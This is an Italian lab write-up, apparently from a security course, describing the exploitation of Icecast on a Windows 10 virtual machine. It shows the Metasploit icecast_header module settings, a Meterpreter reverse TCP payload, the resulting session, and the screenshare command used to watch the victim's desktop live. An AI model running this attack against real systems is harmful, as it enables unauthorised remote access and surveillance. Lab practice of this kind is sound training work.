EXOPLOIT AD ICECAST SU WINDOWS 10:

Il compito di oggi consisteva nell'exploitare icecast in esecuzione sulla macchina virtale di windows 10.

Come sempre una volta avviato metasploit da terminale su kali, eseguiamo i soliti passaggi di ricerca del programma vulnerabile, scegliere l'exploit da usare, settare l'ip della macchina vittima e lanciarlo sempre con lo scopo di entrare nella macchina vittima, questa volta attraverso icecast.

```
msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.1.57     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.59     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.1.59:4444
[*] Sending stage (176198 bytes) to 192.168.1.57
[*] Meterpreter session 1 opened (192.168.1.59:4444 → 192.168.1.57:49532) at 2024-11-14 07:16:22 -0500
```

Una volta fatto l'attacco e creata la sessione, il compito chiedeva di visualizzare l'ip della macchina vittimaa e acquisire uno screenshot del desktop in tempo reale della macchina attaccata.

Per farlo, mi sono aiutata vedendo i comandi di meterpreter, ho scelto quello che faceva il caso mio: screenshare, il quale ti permette di vedere il tempo reale cosa succede sullo schermo della macchina vittima, e questo screen ci viene mostrato aprendosi automaticamnete una schermata sul browser la quale ci mostra il desktop della macchina, e in alto a sinistra ci da informazioni come l'ip della macchina, l'orario e la data in cui è stato catturato lo schermo e il suo stato.